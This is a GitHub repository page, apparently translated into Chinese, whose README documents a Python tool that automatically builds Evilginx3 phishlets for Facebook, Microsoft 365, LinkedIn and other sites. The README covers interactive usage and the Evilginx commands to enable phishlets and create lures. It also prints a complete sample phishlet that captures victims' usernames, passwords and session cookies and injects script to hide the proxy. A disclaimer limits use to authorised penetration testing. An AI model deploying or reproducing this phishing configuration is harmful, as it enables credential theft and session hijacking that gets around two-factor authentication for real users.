MomenAbuAssi/Phishlets-Build

GitHub: MomenAbuAssi/Phishlets-Build

该项目利用真实浏览器自动化技术,通过捕获登录网络流量来自动生成 Evilginx3 兼容的 phishlet YAML 配置文件。

Stars: 2 | Forks: 0

[README.md](https://github.com/user-attachments/files/29044923/README.md)
``` ███████╗███████╗██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██╗ ██╗ ╚══███╔╝██╔════╝██╔══██╗██╔═══██╗ ██╔════╝██╔═══██╗██╔══██╗██╔════╝╚██╗██╔╝ ███╔╝ █████╗ ██████╔╝██║ ██║ ██║ ██║ ██║██║ ██║█████╗ ╚███╔╝ ███╔╝ ██╔══╝ ██╔══██╗██║ ██║ ██║ ██║ ██║██║ ██║██╔══╝ ██╔██╗ ███████╗███████╗██║ ██║╚██████╔╝ ╚██████╗╚██████╔╝██████╔╝███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ``` # Phishlet 生成器 — Zero Codex Engine **由真实浏览器自动化驱动的自动化 Evilginx3 phishlet 构建器** [![Python](https://img.shields.io/badge/Python-3.7+-3776AB?style=for-the-badge&logo=python&logoColor=white)](https://python.org) [![Playwright](https://img.shields.io/badge/Playwright-Chromium-45ba4b?style=for-the-badge&logo=playwright&logoColor=white)](https://playwright.dev) [![Evilginx3](https://img.shields.io/badge/Evilginx-3.x-red?style=for-the-badge)](https://github.com/kgretzky/evilginx2) [![License](https://img.shields.io/badge/License-Educational%20Use-yellow?style=for-the-badge)](#license)
## 📖 概述 **Zero Codex Phishlet Generator** 自动化生成 [Evilginx3](https://github.com/kgretzky/evilginx2) 的 `.yaml` phishlet 文件。 无需手动逆向工程网站的登录流程,该工具可以: - 启动真实的 Chromium 浏览器并导航至目标网站 - 使用您的测试凭据登录,以捕获实时的网络流量 - 自动检测 POST 字段、session cookie 和 auth token - 通过暂停等待手动处理来应对 CAPTCHA 和 2FA - 输出可直接用于生产环境的 `.yaml` phishlet 文件 **支持的目标包括** Facebook、LinkedIn、X/Twitter、Microsoft 365、Instagram、Spotify、OnlyFans、GitHub、Reddit 以及任何自定义网站。 ## ✨ 核心功能 | 功能 | 描述 | |---------|-------------| | 🤖 **智能字段分类** | 自动区分凭据、动态 token 和静态强制值 | | 🍪 **Cookie 收集** | 登录后收集并稳定 session cookie | | 🔐 **支持 CAPTCHA / 2FA** | 无限期暂停,等待手动完成验证 | | 🌐 **多步登录** | 处理邮箱 → 下一步 → 密码的登录流程(如 Twitter、Microsoft) | | 🛡️ **反检测** | 注入 `js_inject` 脚本以隐藏代理特征 | | 🧹 **智能过滤** | 移除干扰域名、广告追踪器和不相关的 cookie | | ⚡ **自动域名映射** | 自动检测所需的 CDN 和 API 子域名 | | 📝 **YAML 序列化器** | 生成整洁、有效的 Evilginx3 兼容 YAML | ## 📋 环境要求 | 组件 | 版本 | |-----------|---------| | Python | 3.7 或更高版本 | | pip | 最新版 | | Playwright + Chromium | 通过 pip 安装 | | Evilginx3 | 3.0.0 或更高版本 | ## 🛠️ 安装说明 ### 1. 克隆仓库 ``` git clone https://github.com/MomenAbuAssi/Phishlets-Build.git cd Phishlets-Build ``` ### 2. 安装 Python 依赖 ``` pip install -r requirements.txt ``` **`requirements.txt`** ``` colorama playwright urllib3 ``` ### 3. 安装 Playwright 浏览器 ``` playwright install chromium ``` ### 4. 安装系统依赖(仅限 Linux) ``` playwright install-deps chromium ``` ## 🚀 使用方法 ``` python phishlet_generator.py ``` 该工具会通过交互式提示引导您完成操作: ### 详细操作步骤说明 #### 🔗 目标 URL ``` [?] Target URL: https://www.facebook.com/ ``` 输入您想要为其生成 phishlet 的真实网站地址。 #### 🌐 伪装域名 ``` [?] Fake domain (e.g. evil.com): your-domain.com ``` 您的钓鱼域名 — 必须在您的控制之下,并已指向您的 Evilginx3 服务器。 #### 🏷️ Phishlet 名称 ``` [?] Phishlet name [facebook]: ``` 按 Enter 键使用自动检测到的名称,或输入自定义名称。 #### 🖥️ 无头模式 (Headless Mode) ``` [?] Headless? (y/N): ``` - `N`(推荐)— 显示浏览器窗口,允许手动解决 CAPTCHA/2FA - `y` — 用于服务器的后台模式(无法手动解决 CAPTCHA) #### 🔑 登录页面 ``` [?] Login page: 1. Auto-detect (click login button) 2. Provide direct login URL ``` 对于大多数网站,建议选择选项 `2` 以跳过着陆页。 #### 🧑‍💻 真实账号模式 ``` [?] Have account? (y/N): y [?] Email/username: test@example.com [?] Password: ``` 使用真实账号可以捕获实时的 POST 流量和 session cookie,从而生成完整的 phishlet。 ## ▶️ 自动执行的操作 ``` Phase 1: Navigation → Opens the login page Phase 2: Login Flow → Fills credentials, submits, waits for result Phase 3: Form Extract → Scans DOM for form fields and hidden tokens Phase 4: Cookie Collect → Harvests session cookies from all subdomains Phase 5: Stabilisation → Waits for cookie jar to stabilise (up to 60s) Build: YAML Output → Generates the phishlet file ``` ### 处理 CAPTCHA / 2FA 如果出现验证挑战,脚本会自动暂停: ``` [!] CAPTCHA — solve it manually in the browser window. [i] Script is waiting indefinitely... [✓] CAPTCHA solved — continuing... ``` 在打开的浏览器窗口中完成验证 — 脚本会自动恢复运行。 ## 📦 输出 ``` [✓] Done (✅ Real login). [+] Building YAML... ════════════════════════════════════════════════════════════════ ✓ PHISHLET SAVED: phishlets/facebook.yaml ════════════════════════════════════════════════════════════════ Mode : ✅ Real login Proxy hosts : 6 Auth tokens : 9 Force POST : 2 entries Auth URLs : 2 Credentials : user=email pass=pass Login : www.facebook.com/login/ ``` phishlet 将保存在 `phishlets/` 文件夹中(该文件夹会自动创建)。 ## ⚡ Evilginx3 命令 生成 phishlet 之后: ``` phishlets load facebook phishlets hostname facebook your-domain.com phishlets enable facebook lures create facebook ``` ## 🏗️ 生成的 YAML 结构 ``` name: 'facebook' min_ver: '3.0.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'facebook.com', session: true, is_landing: true, auto_filter: true} sub_filters: - {triggers_on: 'www.facebook.com', search: 'https://www.facebook.com', replace: 'https://{hostname}', mimes: ['text/html', ...]} auth_tokens: - domain: '.facebook.com' keys: ["c_user", "xs", "fr", "datr", ".*,regexp"] credentials: username: {key: 'email', search: '(.*)', type: 'post'} password: {key: 'pass', search: '(.*)', type: 'post'} auth_urls: - '/' - '/home.php' login: domain: 'www.facebook.com' path: '/login/' force_post: - path: '/api/graphql/' search: - {key: '__user', search: '(.*)'} force: - {key: '__ccg', value: 'GOOD'} type: 'post' js_inject: - trigger_domains: ['www.facebook.com'] trigger_paths: ['/login/', '/'] script: | (function() { Object.defineProperty(document, 'domain', { get: function() { return 'facebook.com'; } }); })(); ``` ## 🧰 故障排除 | 问题 | 解决方案 | |---------|----------| | 无法识别 `playwright` | 运行 `pip install playwright`,然后运行 `playwright install chromium` | | 脚本在 CAPTCHA 处卡住 | 在浏览器中手动完成验证 — 脚本会自动恢复运行 | | 登录立即失败 | 检查凭据;脚本无法绕过错误的密码 | | 未收集到 cookie | 确保 `Have account? y` 且登录已完全成功 | | 页面加载时没有样式 | CDN 子域名未被代理 — 在网络连接稳定的情况下重新运行 | | `force_post: missing force field` | Evilginx 版本问题 — 手动添加 `force: []` 或升级 Evilginx | | 生成了错误的 `login.path` | 使用选项 `2` 并手动提供直接的登录 URL | ## 🔍 字段分类的工作原理 在登录过程中捕获的每个 POST 字段都会被自动分类: ``` Email / Password → search (captured from victim) Dynamic tokens (lsd, __s...) → search (captured per-session) remember_me, LoginOptions → force (injected as fixed value) debug, trace, request_id → ignored (noise) Values longer than 20 chars → ignored (dynamic tokens/hashes) ``` `force` 中只能包含 9 个白名单内的键: `remember_me`, `rememberme`, `keep_me_signed_in`, `stay_signed_in`, `persistent`, `loginoptions`, `remembermfa`, `__ccg`, `login` ## 📁 项目结构 ``` zero-codex-phishlet-generator/ ├── phishlet_generator.py # Main script ├── requirements.txt # Python dependencies ├── README.md # This file ├── .gitignore # Ignore phishlets output └── phishlets/ # Generated YAML files (auto-created) ├── facebook.yaml ├── linkedin.yaml └── ... ``` ## ⚠️ 法律免责声明 本工具**仅供教育目的和授权的渗透测试使用**。 - 您必须获得目标组织的**明确书面授权** - 在大多数司法管辖区,未经授权针对真实用户或系统使用本工具是**违法的** - 作者对任何滥用或造成的损害**不承担任何责任** **负责任地使用。坚守道德底线。** ## 📄 许可证 ``` Zero Codex Engine — Phishlet Generator Developer: Momen Abu Assi For authorised security research and penetration testing only. ```
**Zero Codex Engine** — 专为安全研究人员打造 *如果此工具您的研究有所帮助,请考虑点个 ⭐*
标签:Playwright, Python, 无后门, 浏览器自动化, 特征检测, 网络调试, 自动化, 逆向工具